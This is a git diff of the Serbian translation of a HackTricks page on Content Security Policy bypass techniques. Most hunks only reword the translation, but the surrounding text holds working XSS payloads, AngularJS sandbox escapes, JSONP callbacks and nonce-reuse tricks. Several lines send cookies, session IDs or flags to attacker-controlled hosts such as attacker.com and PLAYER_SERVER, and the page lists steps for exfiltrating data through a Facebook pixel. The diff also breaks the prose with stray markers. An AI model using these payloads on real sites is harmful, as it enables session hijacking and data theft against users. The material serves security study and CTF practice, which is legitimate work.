Pridružite se [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) serveru da komunicirate sa iskusnim hakerima i lovcima na greške!
|
||||
|
||||
|
|
|
@ -15,7 +15,7 @@ Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-s
|
|||
</details>
|
||||
{% endhint %}
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (380).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="/.gitbook/assets/image.png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Join [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) server to communicate with experienced hackers and bug bounty hunters!
|
||||
|
||||
|
@ -34,7 +34,7 @@ Stay informed with the newest bug bounties launching and crucial platform update
|
|||
|
||||
Content Security Policy (CSP) se prepoznaje kao tehnologija pretraživača, prvenstveno usmerena na **zaštitu od napada kao što su cross-site scripting (XSS)**. Funkcioniše tako što definiše i detaljno opisuje puteve i izvore sa kojih se resursi mogu sigurno učitati od strane pretraživača. Ovi resursi obuhvataju niz elemenata kao što su slike, okviri i JavaScript. Na primer, politika može dozvoliti učitavanje i izvršavanje resursa sa iste domene (self), uključujući inline resurse i izvršavanje string koda putem funkcija kao što su `eval`, `setTimeout` ili `setInterval`.
|
||||
|
||||
Implementacija CSP se vrši putem **odgovora zaglavlja** ili uključivanjem **meta elemenata u HTML stranicu**. U skladu sa ovom politikom, pretraživači proaktivno sprovode ove odredbe i odmah blokiraju svaku otkrivenu povredu.
|
||||
Implementacija CSP se vrši putem **odgovornih zaglavlja** ili uključivanjem **meta elemenata u HTML stranicu**. U skladu sa ovom politikom, pretraživači proaktivno sprovode ove odredbe i odmah blokiraju sve otkrivene prekršaje.
|
||||
|
||||
* Implemented via response header:
|
||||
```
|
||||
|
@ -67,7 +67,7 @@ object-src 'none';
|
|||
```
|
||||
### Direktive
|
||||
|
||||
* **script-src**: Dozvoljava specifične izvore za JavaScript, uključujući URL-ove, inline skripte i skripte koje pokreću upravljači događaja ili XSLT stilove.
|
||||
* **script-src**: Dozvoljava specifične izvore za JavaScript, uključujući URL-ove, inline skripte i skripte pokrenute od strane event handler-a ili XSLT stilskih listova.
|
||||
* **default-src**: Postavlja podrazumevanu politiku za preuzimanje resursa kada specifične direktive za preuzimanje nisu prisutne.
|
||||
* **child-src**: Specifikuje dozvoljene resurse za web radnike i sadržaj u ugnježdenim okvirima.
|
||||
* **connect-src**: Ograničava URL-ove koji se mogu učitati koristeći interfejse kao što su fetch, WebSocket, XMLHttpRequest.
|
||||
|
@ -81,7 +81,7 @@ object-src 'none';
|
|||
* **base-uri**: Specifikuje dozvoljene URL-ove za učitavanje koristeći `<base>` elemente.
|
||||
* **form-action**: Navodi validne krajnje tačke za slanje obrazaca.
|
||||
* **plugin-types**: Ograničava mime tipove koje stranica može da pozove.
|
||||
* **upgrade-insecure-requests**: Upravljačima pretraživača nalaže da prepišu HTTP URL-ove na HTTPS.
|
||||
* **upgrade-insecure-requests**: Naredjuje pretraživačima da prepišu HTTP URL-ove na HTTPS.
|
||||
* **sandbox**: Primena ograničenja sličnih sandbox atributu `<iframe>`.
|
||||
* **report-to**: Specifikuje grupu kojoj će izveštaj biti poslat ako se politika prekrši.
|
||||
* **worker-src**: Specifikuje validne izvore za Worker, SharedWorker, ili ServiceWorker skripte.
|
||||
|
@ -94,9 +94,9 @@ object-src 'none';
|
|||
* `'self'`: Dozvoljava učitavanje sa iste domene.
|
||||
* `'data'`: Dozvoljava resursima da se učitavaju putem data sheme (npr., Base64 kodirane slike).
|
||||
* `'none'`: Blokira učitavanje sa bilo kog izvora.
|
||||
* `'unsafe-eval'`: Dozvoljava korišćenje `eval()` i sličnih metoda, ne preporučuje se iz bezbednosnih razloga.
|
||||
* `'unsafe-hashes'`: Omogućava specifične inline upravljače događaja.
|
||||
* `'unsafe-inline'`: Dozvoljava korišćenje inline resursa kao što su inline `<script>` ili `<style>`, ne preporučuje se iz bezbednosnih razloga.
|
||||
* `'unsafe-eval'`: Dozvoljava korišćenje `eval()` i sličnih metoda, nije preporučeno iz bezbednosnih razloga.
|
||||
* `'unsafe-hashes'`: Omogućava specifične inline event handlere.
|
||||
* `'unsafe-inline'`: Dozvoljava korišćenje inline resursa kao što su inline `<script>` ili `<style>`, nije preporučeno iz bezbednosnih razloga.
|
||||
* `'nonce'`: Lista dozvoljenih inline skripti koristeći kriptografski nonce (broj koji se koristi jednom).
|
||||
* Ako imate ograničeno izvršavanje JS-a, moguće je dobiti korišćen nonce unutar stranice sa `doc.defaultView.top.document.querySelector("[nonce]")` i zatim ga ponovo koristiti za učitavanje maliciozne skripte (ako se koristi strict-dynamic, bilo koji dozvoljeni izvor može učitati nove izvore pa ovo nije potrebno), kao u:
|
||||
|
||||
|
@ -114,15 +114,15 @@ b.nonce=a.nonce; doc.body.appendChild(b)'>
|
|||
```
|
||||
</details>
|
||||
|
||||
* `'sha256-<hash>'`: Beleži skripte sa specifičnim sha256 hešom.
|
||||
* `'strict-dynamic'`: Omogućava učitavanje skripti iz bilo kog izvora ako je beličena putem nonce ili heša.
|
||||
* `'host'`: Precizira određeni host, kao što je `example.com`.
|
||||
* `'sha256-<hash>'`: Beleži skripte sa specifičnim sha256 hash-om.
|
||||
* `'strict-dynamic'`: Omogućava učitavanje skripti iz bilo kog izvora ako je beljen od strane nonce-a ili hash-a.
|
||||
* `'host'`: Precizira specifičan host, kao što je `example.com`.
|
||||
* `https:`: Ograničava URL-ove na one koji koriste HTTPS.
|
||||
* `blob:`: Omogućava učitavanje resursa sa Blob URL-ova (npr. Blob URL-ovi kreirani putem JavaScript-a).
|
||||
* `filesystem:`: Omogućava učitavanje resursa sa datotečnog sistema.
|
||||
* `'report-sample'`: Uključuje uzorak kršećeg koda u izveštaju o kršenju (korisno za debagovanje).
|
||||
* `'strict-origin'`: Slično 'self' ali osigurava da nivo bezbednosti protokola izvora odgovara dokumentu (samo sigurni izvori mogu učitavati resurse sa sigurnih izvora).
|
||||
* `'strict-origin-when-cross-origin'`: Šalje pune URL-ove prilikom pravljenja zahteva sa istog izvora, ali šalje samo izvor kada je zahtev međuzavistan.
|
||||
* `'strict-origin'`: Slično 'self', ali osigurava da nivo bezbednosti protokola izvora odgovara dokumentu (samo sigurni izvori mogu učitavati resurse sa sigurnih izvora).
|
||||
* `'strict-origin-when-cross-origin'`: Šalje pune URL-ove prilikom pravljenja zahteva istog porekla, ali šalje samo poreklo kada je zahtev međuporeklo.
|
||||
* `'unsafe-allow-redirects'`: Omogućava učitavanje resursa koji će odmah preusmeriti na drugi resurs. Nije preporučljivo jer slabi bezbednost.
|
||||
|
||||
## Unsafe CSP Rules
|
||||
|
@ -133,7 +133,7 @@ Content-Security-Policy: script-src https://google.com 'unsafe-inline';
|
|||
```
|
||||
Radni payload: `"/><script>alert(1);</script>`
|
||||
|
||||
#### self + 'unsafe-inline' putem Iframe-a
|
||||
#### self + 'unsafe-inline' putem Iframes
|
||||
|
||||
{% content-ref url="csp-bypass-self-+-unsafe-inline-with-iframes.md" %}
|
||||
[csp-bypass-self-+-unsafe-inline-with-iframes.md](csp-bypass-self-+-unsafe-inline-with-iframes.md)
|
||||
|
@ -188,11 +188,11 @@ Radni payload:
|
|||
```markup
|
||||
"/>'><script src="/uploads/picture.png.js"></script>
|
||||
```
|
||||
Međutim, veoma je verovatno da server **validira otpremeljenu datoteku** i da će vam dozvoliti da **otpremite određene tipove datoteka**.
|
||||
Međutim, veoma je verovatno da server **validira otpremnenu datoteku** i da će vam dozvoliti da **otpremite određene tipove datoteka**.
|
||||
|
||||
Štaviše, čak i ako biste mogli da otpremite **JS kod unutar** datoteke koristeći ekstenziju koju server prihvata (kao što je: _script.png_), to neće biti dovoljno jer neki serveri poput apache servera **biraju MIME tip datoteke na osnovu ekstenzije** i pregledači poput Chrome-a će **odbiti da izvrše Javascript** kod unutar nečega što bi trebalo da bude slika. "Nadamo se", postoje greške. Na primer, iz CTF-a sam saznao da **Apache ne prepoznaje** _**.wave**_ ekstenziju, stoga je ne servira sa **MIME tipom kao audio/\***.
|
||||
Štaviše, čak i ako biste mogli da otpremite **JS kod unutar** datoteke koristeći ekstenziju koju server prihvata (kao što je: _script.png_), to neće biti dovoljno jer neki serveri poput apache servera **biraju MIME tip datoteke na osnovu ekstenzije** i pregledači poput Chrome-a će **odbiti da izvrše Javascript** kod unutar nečega što bi trebalo da bude slika. "Nadamo se", postoje greške. Na primer, iz jednog CTF-a sam saznao da **Apache ne prepoznaje** _**.wave**_ ekstenziju, stoga je ne servira sa **MIME tipom kao audio/\***.
|
||||
|
||||
Odavde, ako pronađete XSS i otpremu datoteka, i uspete da pronađete **pogrešno interpretiranu ekstenziju**, mogli biste pokušati da otpremite datoteku sa tom ekstenzijom i sadržajem skripte. Ili, ako server proverava ispravan format otpremeljene datoteke, kreirajte poliglot ([neki primeri poliglotova ovde](https://github.com/Polydet/polyglot-database)).
|
||||
Odavde, ako pronađete XSS i otpremanje datoteka, i uspete da pronađete **pogrešno interpretiranu ekstenziju**, mogli biste pokušati da otpremite datoteku sa tom ekstenzijom i sadržajem skripte. Ili, ako server proverava ispravan format otpremne datoteke, kreirajte poliglot ([neki primeri poliglotova ovde](https://github.com/Polydet/polyglot-database)).
|
||||
|
||||
### Form-action
|
||||
|
||||
|
@ -227,10 +227,10 @@ With some bypasses from: https://blog.huli.tw/2022/08/29/en/intigriti-0822-xss-a
|
|||
<img/ng-app/ng-csp/src/ng-o{{}}n-error=$event.target.ownerDocument.defaultView.alert($event.target.ownerDocument.domain)>"
|
||||
>
|
||||
```
|
||||
#### Payloads using Angular + a library with functions that return the `window` object ([check out this post](https://blog.huli.tw/2022/09/01/en/angularjs-csp-bypass-cdnjs/)):
|
||||
#### Payloads koristeći Angular + biblioteku sa funkcijama koje vraćaju `window` objekat ([pogledajte ovaj post](https://blog.huli.tw/2022/09/01/en/angularjs-csp-bypass-cdnjs/)):
|
||||
|
||||
{% hint style="info" %}
|
||||
Post pokazuje da možete **učitati** sve **biblioteke** sa `cdn.cloudflare.com` (ili bilo kog drugog dozvoljenog JS biblioteka repozitorijuma), izvršiti sve dodate funkcije iz svake biblioteke i proveriti **koje funkcije iz kojih biblioteka vraćaju `window` objekat**.
|
||||
Post pokazuje da možete **učitati** sve **biblioteke** sa `cdn.cloudflare.com` (ili bilo kog drugog dozvoljenog JS biblioteka repozitorijuma), izvršiti sve dodate funkcije iz svake biblioteke, i proveriti **koje funkcije iz kojih biblioteka vraćaju `window` objekat**.
|
||||
{% endhint %}
|
||||
```markup
|
||||
<script src="https://cdnjs.cloudflare.com/ajax/libs/prototype/1.7.2/prototype.js"></script>
|
||||
|
@ -299,7 +299,7 @@ Zloupotreba \*.google.com/script.google.com
|
|||
|
||||
Moguće je zloupotrebiti Google Apps Script da se primi informacija na stranici unutar script.google.com. Kao što je [urađeno u ovom izveštaju](https://embracethered.com/blog/posts/2023/google-bard-data-exfiltration/).
|
||||
|
||||
### Treće strane krajnje tačke + JSONP
|
||||
### Treće strane + JSONP
|
||||
```http
|
||||
Content-Security-Policy: script-src 'self' https://www.google.com https://www.youtube.com; object-src 'none';
|
||||
```
|
||||
|
@ -319,7 +319,7 @@ Ista ranjivost će se pojaviti ako **pouzdana krajnja tačka sadrži Open Redire
|
|||
|
||||
### Zloupotrebe trećih strana
|
||||
|
||||
Kao što je opisano u [sledećem postu](https://sensepost.com/blog/2023/dress-code-the-talk/#bypasses), postoji mnogo domena trećih strana, koje mogu biti dozvoljene negde u CSP-u, koje se mogu zloupotrebiti za ili eksfiltraciju podataka ili izvršavanje JavaScript koda. Neki od ovih trećih strana su:
|
||||
Kao što je opisano u [sledećem postu](https://sensepost.com/blog/2023/dress-code-the-talk/#bypasses), postoji mnogo domena trećih strana, koje mogu biti dozvoljene negde u CSP-u, koje se mogu zloupotrebiti za eksfiltraciju podataka ili izvršavanje JavaScript koda. Neki od ovih trećih strana su:
|
||||
|
||||
| Entitet | Dozvoljeni domen | Mogućnosti |
|
||||
| ----------------- | ---------------------------------------------- | ------------ |
|
||||
|
@ -338,7 +338,7 @@ Na primer, ako pronađete sledeći CSP:
|
|||
```
|
||||
Content-Security-Policy: default-src 'self’ www.facebook.com;
|
||||
```
|
||||
или
|
||||
or
|
||||
```
|
||||
Content-Security-Policy: connect-src www.facebook.com;
|
||||
```
|
||||
|
@ -349,7 +349,7 @@ Trebalo bi da budete u mogućnosti da exfiltrirate podatke, slično kao što je
|
|||
3. Idite na "Settings -> Basic" i dobijte svoj "App ID".
|
||||
4. Na ciljanom sajtu sa kojeg želite da exfiltrirate podatke, možete exfiltrirati podatke direktno koristeći Facebook SDK uređaj "fbq" kroz "customEvent" i payload podataka.
|
||||
5. Idite na svoj App "Event Manager" i izaberite aplikaciju koju ste kreirali (napomena: menadžer događaja može se naći na URL-u sličnom ovom: https://www.facebook.com/events\_manager2/list/pixel/\[app-id]/test\_events).
|
||||
6. Izaberite karticu "Test Events" da vidite događaje koji se šalju sa "vašeg" veb sajta.
|
||||
6. Izaberite karticu "Test Events" da vidite događaje koje šalje "vaš" veb sajt.
|
||||
|
||||
Zatim, na strani žrtve, izvršite sledeći kod da inicijalizujete Facebook praćenje piksela da upućuje na app-id napadačevog Facebook developer naloga i izdajte prilagođeni događaj poput ovog:
|
||||
```JavaScript
|
||||
|
@ -378,7 +378,7 @@ To funkcioniše jer za pregledač učitavate datoteku pod imenom `..%2fangular%2
|
|||
|
||||
Rešenje je da se `%2f` ne tretira kao `/` na strani servera, osiguravajući doslednu interpretaciju između pregledača i servera kako bi se izbegao ovaj problem.
|
||||
|
||||
Online primer:[ ](https://jsbin.com/werevijewa/edit?html,output)[https://jsbin.com/werevijewa/edit?html,output](https://jsbin.com/werevijewa/edit?html,output)
|
||||
Online primer: [ ](https://jsbin.com/werevijewa/edit?html,output)[https://jsbin.com/werevijewa/edit?html,output](https://jsbin.com/werevijewa/edit?html,output)
|
||||
|
||||
### Izvršavanje JS u Iframe-ima
|
||||
|
||||
|
@ -397,9 +397,9 @@ Ako je ranjiva stranica učitana sa **httpS**, koristite httpS URL u bazi.
|
|||
```
|
||||
### AngularJS događaji
|
||||
|
||||
Specifična politika poznata kao Content Security Policy (CSP) može ograničiti JavaScript događaje. Ipak, AngularJS uvodi prilagođene događaje kao alternativu. Unutar događaja, AngularJS pruža jedinstveni objekat `$event`, koji se odnosi na objekat nativnog pregledača. Ovaj `$event` objekat može se iskoristiti za zaobilaženje CSP-a. Važno je napomenuti da u Chrome-u, `$event/event` objekat poseduje atribut `path`, koji sadrži niz objekata uključenih u lanac izvršenja događaja, pri čemu je objekat `window` uvek smešten na kraju. Ova struktura je ključna za taktike bekstva iz sandbox-a.
|
||||
Specifična politika poznata kao Content Security Policy (CSP) može ograničiti JavaScript događaje. Ipak, AngularJS uvodi prilagođene događaje kao alternativu. Unutar događaja, AngularJS pruža jedinstveni objekat `$event`, koji se odnosi na objekat nativnog browser događaja. Ovaj `$event` objekat može biti iskorišćen za zaobilaženje CSP-a. Važno je napomenuti da u Chrome-u, `$event/event` objekat poseduje atribut `path`, koji sadrži niz objekata uključenih u lanac izvršenja događaja, pri čemu je objekat `window` uvek smešten na kraju. Ova struktura je ključna za taktike bekstva iz sandbox-a.
|
||||
|
||||
Usmeravanjem ovog niza na `orderBy` filter, moguće je iterirati kroz njega, koristeći terminalni element (objekat `window`) za aktiviranje globalne funkcije kao što je `alert()`. Prikazani kod ispod objašnjava ovaj proces:
|
||||
Usmeravanjem ovog niza ka `orderBy` filteru, moguće je iterirati kroz njega, koristeći terminalni element (objekat `window`) za pokretanje globalne funkcije kao što je `alert()`. Prikazani kod ispod objašnjava ovaj proces:
|
||||
```xml
|
||||
<input%20id=x%20ng-focus=$event.path|orderBy:%27(z=alert)(document.cookie)%27>#x
|
||||
?search=<input id=x ng-focus=$event.path|orderBy:'(z=alert)(document.cookie)'>#x
|
||||
|
@ -412,9 +412,9 @@ Ovaj deo ističe upotrebu `ng-focus` direktive za pokretanje događaja, koriste
|
|||
```
|
||||
Content-Security-Policy: script-src 'self' ajax.googleapis.com; object-src 'none' ;report-uri /Report-parsing-url;
|
||||
```
|
||||
CSP politika koja beleži dozvoljene domene za učitavanje skripti u Angular JS aplikaciji može biti zaobiđena kroz pozivanje callback funkcija i određene ranjive klase. Dodatne informacije o ovoj tehnici mogu se naći u detaljnom vodiču dostupnom na ovom [git repository](https://github.com/cure53/XSSChallengeWiki/wiki/H5SC-Minichallenge-3:-%22Sh\*t,-it's-CSP!%22).
|
||||
CSP politika koja beleži domene za učitavanje skripti u Angular JS aplikaciji može se zaobići pozivanjem callback funkcija i određenih ranjivih klasa. Dodatne informacije o ovoj tehnici mogu se pronaći u detaljnom vodiču dostupnom na ovom [git repozitorijumu](https://github.com/cure53/XSSChallengeWiki/wiki/H5SC-Minichallenge-3:-%22Sh\*t,-it's-CSP!%22).
|
||||
|
||||
Radni payload-ovi:
|
||||
Funkcionalni payload-ovi:
|
||||
```html
|
||||
<script src=//ajax.googleapis.com/ajax/services/feed/find?v=1.0%26callback=alert%26context=1337></script>
|
||||
ng-app"ng-csp ng-click=$event.view.alert(1337)><script src=//ajax.googleapis.com/ajax/libs/angularjs/1.0.8/angular.js></script>
|
||||
|
@ -462,9 +462,9 @@ Pročitajte [kako ovde](../dangling-markup-html-scriptless-injection/).
|
|||
```
|
||||
default-src 'self' 'unsafe-inline'; img-src *;
|
||||
```
|
||||
`'unsafe-inline'` znači da možete izvršiti bilo koji skript unutar koda (XSS može izvršiti kod) i `img-src *` znači da možete koristiti bilo koju sliku iz bilo kog resursa na veb stranici.
|
||||
`'unsafe-inline'` znači da možete izvršiti bilo koji skript unutar koda (XSS može izvršiti kod) i `img-src *` znači da možete koristiti bilo koju sliku sa bilo kog resursa na veb stranici.
|
||||
|
||||
Možete zaobići ovaj CSP eksfiltrirajući podatke putem slika (u ovoj situaciji XSS zloupotrebljava CSRF gde stranica dostupna botu sadrži SQLi, i izvlači zastavicu putem slike):
|
||||
Možete zaobići ovaj CSP eksfiltracijom podataka putem slika (u ovoj situaciji XSS zloupotrebljava CSRF gde stranica dostupna botu sadrži SQLi, i izvlači zastavicu putem slike):
|
||||
```javascript
|
||||
<script>fetch('http://x-oracle-v0.nn9ed.ka0labs.org/admin/search/x%27%20union%20select%20flag%20from%20challenge%23').then(_=>_.text()).then(_=>new Image().src='http://PLAYER_SERVER/?'+_)</script>
|
||||
```
|
||||
|
@ -496,13 +496,13 @@ Možete pronaći primer ovde: [http://portswigger-labs.net/edge\_csp\_injection\
|
|||
|
||||
#### Edge
|
||||
|
||||
U Edge-u je mnogo jednostavnije. Ako možete dodati u CSP samo ovo: **`;_`** **Edge** bi **odbacio** celu **politiku**.\
|
||||
U Edge-u je mnogo jednostavnije. Ako možete dodati u CSP samo ovo: **`;_`** **Edge** će **odbaciti** celu **politiku**.\
|
||||
Primer: [http://portswigger-labs.net/edge\_csp\_injection\_xndhfye721/?x=;\_\&y=%3Cscript%3Ealert(1)%3C/script%3E](http://portswigger-labs.net/edge\_csp\_injection\_xndhfye721/?x=;\_\&y=%3Cscript%3Ealert\(1\)%3C/script%3E)
|
||||
|
||||
### img-src \*; putem XSS (iframe) - Vremenski napad
|
||||
|
||||
Primetite nedostatak direktive `'unsafe-inline'`\
|
||||
Ovog puta možete naterati žrtvu da **učita** stranicu pod **vašom kontrolom** putem **XSS** sa `<iframe`. Ovog puta ćete naterati žrtvu da pristupi stranici sa koje želite da izvučete informacije (**CSRF**). Ne možete pristupiti sadržaju stranice, ali ako nekako možete **kontrolisati vreme koje je stranici potrebno da se učita** možete izvući informacije koje su vam potrebne.
|
||||
Obratite pažnju na nedostatak direktive `'unsafe-inline'`\
|
||||
Ovog puta možete naterati žrtvu da **učita** stranicu pod **vašom kontrolom** putem **XSS** sa `<iframe`. Ovog puta ćete naterati žrtvu da pristupi stranici sa koje želite da izvučete informacije (**CSRF**). Ne možete pristupiti sadržaju stranice, ali ako nekako možete **kontrolisati vreme koje stranica treba da učita** možete izvući informacije koje su vam potrebne.
|
||||
|
||||
Ovog puta će se **zastavica** izvući, kada god se **karakter ispravno pogodi** putem SQLi, **odgovor** traje **duže** zbog sleep funkcije. Tada ćete moći da izvučete zastavicu:
|
||||
```html
|
||||
|
@ -592,7 +592,7 @@ CSP se može učiniti restriktivnijim korišćenjem **HTML meta tagova** i inlin
|
|||
```
|
||||
### JS exfiltracija sa Content-Security-Policy-Report-Only
|
||||
|
||||
Ako uspete da naterate server da odgovori sa zaglavljem **`Content-Security-Policy-Report-Only`** sa **vrednošću koju kontrolišete** (možda zbog CRLF), mogli biste da ga usmerite na vaš server i ako **obavijete** **JS sadržaj** koji želite da eksfiltrirate sa **`<script>`** i zato što je veoma verovatno da `unsafe-inline` nije dozvoljen od strane CSP, ovo će **pokrenuti CSP grešku** i deo skripte (koji sadrži osetljive informacije) biće poslat serveru iz `Content-Security-Policy-Report-Only`.
|
||||
Ako uspete da naterate server da odgovori sa zaglavljem **`Content-Security-Policy-Report-Only`** sa **vrednošću koju kontrolišete** (možda zbog CRLF), mogli biste da ga usmerite na vaš server i ako **obavijete** **JS sadržaj** koji želite da exfiltrirate sa **`<script>`** i zato što je veoma verovatno da `unsafe-inline` nije dozvoljen od strane CSP, ovo će **pokrenuti CSP grešku** i deo skripte (koji sadrži osetljive informacije) biće poslat serveru iz `Content-Security-Policy-Report-Only`.
|
||||
|
||||
Za primer [**proverite ovaj CTF izveštaj**](https://github.com/maple3142/My-CTF-Challenges/tree/master/TSJ%20CTF%202022/Nim%20Notes).
|
||||
|
||||
|
@ -606,9 +606,9 @@ document.querySelector('DIV').innerHTML="<iframe src='javascript:var s = documen
|
|||
* This URL then redirects to a secret URL (e.g., `https://usersecret.example2.com`) that is **not allowed** by CSP.
|
||||
* By listening to the `securitypolicyviolation` event, one can capture the `blockedURI` property. This property reveals the domain of the blocked URI, leaking the secret domain to which the initial URL redirected.
|
||||
|
||||
Zanimljivo je napomenuti da pretraživači poput Chrome-a i Firefox-a imaju različita ponašanja u rukovanju iframe-ovima u vezi sa CSP-om, što može dovesti do potencijalnog curenja osetljivih informacija zbog neodređenog ponašanja.
|
||||
Zanimljivo je napomenuti da pregledači poput Chrome-a i Firefox-a imaju različita ponašanja u vezi sa iframovima u odnosu na CSP, što može dovesti do potencijalnog curenja osetljivih informacija zbog neodređenog ponašanja.
|
||||
|
||||
Druga tehnika uključuje iskorišćavanje samog CSP-a za dedukciju tajnog poddomena. Ova metoda se oslanja na algoritam binarne pretrage i prilagođavanje CSP-a kako bi uključila specifične domene koje su namerno blokirane. Na primer, ako je tajni poddomen sastavljen od nepoznatih karaktera, možete iterativno testirati različite poddomene modifikovanjem CSP direktive da blokira ili dozvoli ove poddomene. Evo isječka koji prikazuje kako bi CSP mogao biti postavljen da olakša ovu metodu:
|
||||
Druga tehnika uključuje iskorišćavanje samog CSP-a za dedukciju tajnog poddomena. Ova metoda se oslanja na algoritam binarne pretrage i prilagođavanje CSP-a kako bi uključila specifične domene koje su namerno blokirane. Na primer, ako je tajni poddomen sastavljen od nepoznatih karaktera, možete iterativno testirati različite poddomene modifikovanjem CSP direktive da blokira ili dozvoli ove poddomene. Evo isječka koji pokazuje kako bi CSP mogao biti postavljen da olakša ovu metodu:
|
||||
```markdown
|
||||
img-src https://chall.secdriven.dev https://doc-1-3213.secdrivencontent.dev https://doc-2-3213.secdrivencontent.dev ... https://doc-17-3213.secdriven.dev
|
||||
```
|
||||
|
@ -618,7 +618,7 @@ Obe metode koriste nijanse implementacije i ponašanja CSP-a u pregledačima, po
|
|||
|
||||
Trik iz [**ovde**](https://ctftime.org/writeup/29310).
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (380).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="/.gitbook/assets/image.png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Pridružite se [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) serveru da komunicirate sa iskusnim hakerima i lovcima na greške!
|
||||
|
||||
|
@ -641,7 +641,7 @@ Prema [**poslednjoj tehnici komentarisanoj u ovom videu**](https://www.youtube.c
|
|||
|
||||
### Preopterećenje PHP odgovora
|
||||
|
||||
PHP je poznat po tome što **bafuje odgovor do 4096** bajtova po defaultu. Stoga, ako PHP prikazuje upozorenje, pružanjem **dovoljno podataka unutar upozorenja**, **odgovor** će biti **poslat** **pre** **CSP header-a**, uzrokujući da se header ignoriše.\
|
||||
PHP je poznat po tome što **bafuje odgovor na 4096** bajtova po defaultu. Stoga, ako PHP prikazuje upozorenje, pružanjem **dovoljno podataka unutar upozorenja**, **odgovor** će biti **poslat** **pre** **CSP header-a**, uzrokujući da se header ignoriše.\
|
||||
Tada, tehnika se u suštini sastoji u **punjenju bafera odgovora upozorenjima** tako da CSP header ne bude poslat.
|
||||
|
||||
Ideja iz [**ovog izveštaja**](https://hackmd.io/@terjanq/justCTF2020-writeups#Baby-CSP-web-6-solves-406-points).
|
||||
|
@ -657,7 +657,7 @@ a.document.body.innerHTML = `<img src=x onerror="fetch('https://filesharing.m0le
|
|||
```
|
||||
### SOME + 'self' + wordpress
|
||||
|
||||
SOME je tehnika koja zloupotrebljava XSS (ili veoma ograničen XSS) **u krajnjoj tački stranice** da **zloupotrebi** **druge krajnje tačke iste domene.** To se postiže učitavanjem ranjive krajnje tačke sa napadačke stranice, a zatim osvežavanjem napadačke stranice na pravu krajnju tačku u istoj domeni koju želite da zloupotrebite. Na ovaj način **ranjiva krajnja tačka** može koristiti **`opener`** objekat u **payload-u** da **pristupi DOM-u** **prave krajnje tačke za zloupotrebu**. Za više informacija pogledajte:
|
||||
SOME je tehnika koja zloupotrebljava XSS (ili veoma ograničen XSS) **u krajnjoj tački stranice** da **zloupotrebi** **druge krajnje tačke iste domene.** To se postiže učitavanjem ranjive krajnje tačke sa stranice napadača, a zatim osvežavanjem stranice napadača na pravu krajnju tačku u istoj domeni koju želite da zloupotrebite. Na ovaj način **ranjiva krajnja tačka** može koristiti **`opener`** objekat u **payload-u** da **pristupi DOM-u** **prave krajnje tačke za zloupotrebu**. Za više informacija pogledajte:
|
||||
|
||||
{% content-ref url="../xss-cross-site-scripting/some-same-origin-method-execution.md" %}
|
||||
[some-same-origin-method-execution.md](../xss-cross-site-scripting/some-same-origin-method-execution.md)
|
||||
|
@ -670,18 +670,18 @@ Za više informacija o tome kako izvesti ovaj napad pogledajte [https://octagon.
|
|||
|
||||
## CSP Exfiltration Bypasses
|
||||
|
||||
Ako postoji strogi CSP koji vam ne dozvoljava da **interagujete sa spoljnim serverima**, postoji nekoliko stvari koje uvek možete uraditi da izvučete informacije.
|
||||
Ako postoji strogi CSP koji ne dozvoljava da **interagujete sa spoljnim serverima**, postoji nekoliko stvari koje uvek možete uraditi da izvučete informacije.
|
||||
|
||||
### Location
|
||||
|
||||
Možete jednostavno ažurirati lokaciju da pošaljete tajne informacije na napadačev server:
|
||||
Možete jednostavno ažurirati lokaciju da pošaljete tajne informacije na server napadača:
|
||||
```javascript
|
||||
var sessionid = document.cookie.split('=')[1]+".";
|
||||
document.location = "https://attacker.com/?" + sessionid;
|
||||
```
|
||||
### Meta tag
|
||||
|
||||
Možete preusmeriti injektovanjem meta taga (ovo je samo preusmeravanje, ovo neće procuriti sadržaj)
|
||||
Možete preusmeriti injektovanjem meta taga (ovo je samo preusmeravanje, ovo neće otkriti sadržaj)
|
||||
```html
|
||||
<meta http-equiv="refresh" content="1; http://attacker.com">
|
||||
```
|
||||
|
@ -752,17 +752,17 @@ pc.createOffer().then((sdp)=>pc.setLocalDescription(sdp);
|
|||
|
||||
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (380).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="/.gitbook/assets/image.png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Pridružite se [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) serveru da komunicirate sa iskusnim hakerima i lovcima na greške!
|
||||
|
||||
**Hacking Insights**\
|
||||
**Uvidi u Hacking**\
|
||||
Uključite se u sadržaj koji istražuje uzbuđenje i izazove hakovanja
|
||||
|
||||
**Vesti o hakovanju u realnom vremenu**\
|
||||
**Vesti o Hacking-u u Realnom Vremenu**\
|
||||
Budite u toku sa brzim svetom hakovanja kroz vesti i uvide u realnom vremenu
|
||||
|
||||
**Najnovija obaveštenja**\
|
||||
**Najnovija Obaveštenja**\
|
||||
Budite informisani o najnovijim nagradama za greške i važnim ažuriranjima platformi
|
||||
|
||||
**Pridružite nam se na** [**Discord**](https://discord.com/invite/N3FrSbmwdy) i počnite da sarađujete sa vrhunskim hakerima danas!
|
||||
|
@ -777,7 +777,7 @@ Učite i vežbajte GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data
|
|||
|
||||
* Proverite [**planove pretplate**](https://github.com/sponsors/carlospolop)!
|
||||
* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili **pratite** nas na **Twitteru** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Podelite trikove hakovanja slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume.
|
||||
* **Podelite hakerske trikove slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
